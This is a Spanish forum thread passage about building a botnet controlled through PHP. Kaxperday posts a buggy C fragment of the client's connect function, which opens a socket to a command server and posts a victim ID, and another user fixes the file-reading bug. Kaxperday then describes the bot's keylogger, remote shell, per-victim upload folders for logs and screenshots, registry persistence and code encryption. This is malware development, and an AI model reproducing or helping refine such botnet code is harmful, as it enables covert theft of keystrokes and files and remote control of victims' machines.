Controlar botnet con PHP

Iniciado por Kaxperday, 15 Septiembre 2014, 14:00 PM

0 Miembros y 3 Visitantes están viendo este tema.

Kaxperday

#40
Hay un marciano con una varita mágica detrás de mí, nueva novedad, tengo un archivo llamado user.dat tiene esto:

ghsryb

Son 6 caracteres que identifican al usuario todo fantastico.


void conecta_k(char nada[])
{
   FILE *dat,*x;
   WSADATA wsa;
   int sok,len,i=0;
   struct sockaddr_in dir;
   char buf[80384],cad[80384],aux[10],borra[50]="del ",car,nombre[50];
   WSAStartup(MAKEWORD(2,0),&wsa);
   if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
   else{
       dir.sin_family=AF_INET;
       dir.sin_port=htons(PUERTO);
       dir.sin_addr.s_addr=inet_addr(IP);

       fflush(stdin);
       x=fopen("user.dat","rt");
       fseek(x,0,SEEK_CUR);
       fprintf(x,"%s",nombre);
       fclose(x);
       fflush(stdin);

       printf("hemos leido user.dat el usuario es %s",nombre);
       getch();

       strcpy(cad,"u=");
       strcat(cad,nombre);
       ....
}


Pues bien resulta que quiero abrir el archivo para leer el usuario y hacer un post cargando el nombre de usuario en la variable "u", pero sorpresa lo que leo del archivo en la variable nombre es una coma "," ni más ni menos, es por elloque escribo este mensaje, haber si sabéis como solucionar esto o porque se produce yo estoy casi seguro que todos los fallos hasta ahora vienen dados por el recv esa cadena tiene cosas raras invisibles seguro, dicho esto estoy activamente buscando alguna respuesta.

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

T. Collins

#41
Has creado el user.dat tú mismo o con un programa en C?  

A mí con fread(nombre, sizeof(char), 10, x); en vez de fprintf me funciona.

Kaxperday

#42
Muchas gracias por la ayuda compañero, la verdad que me funciono  perfecto :)))

Ahora estoy corrigiendo mil fallos, y tengo pensado meterle comandos para trolear en plan mover_raton, infinitas ventanas, meter contador de tiempo al keylogger, tambien estoy trabajando con los directorios del servidor, cuando se conecta un cliente x primera vez crea una carpeta para ese usuario y otras 3 dentro de ella (pics,logs,shell), para tenerlo todo bien ordenador, lo estoy probando y la shell va perfecta, ahora solo me falla el post para subir los logs y las shells, espero repararlo pronto, pero quedan mil cosas por hacer como el anclado al registro, control de errores, poner la memoria de las variable con sentido, cifrar rl código, podría escribir un libro en fin NUNCA ACABARA!!! XDDD

Si tengo algún problema lo posteo que vuestra ayuda me viene muy bien xD

Edito: Marcho a dormir satisfecho después del trabajo y las pruebas, ya os contaré. ;-)

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.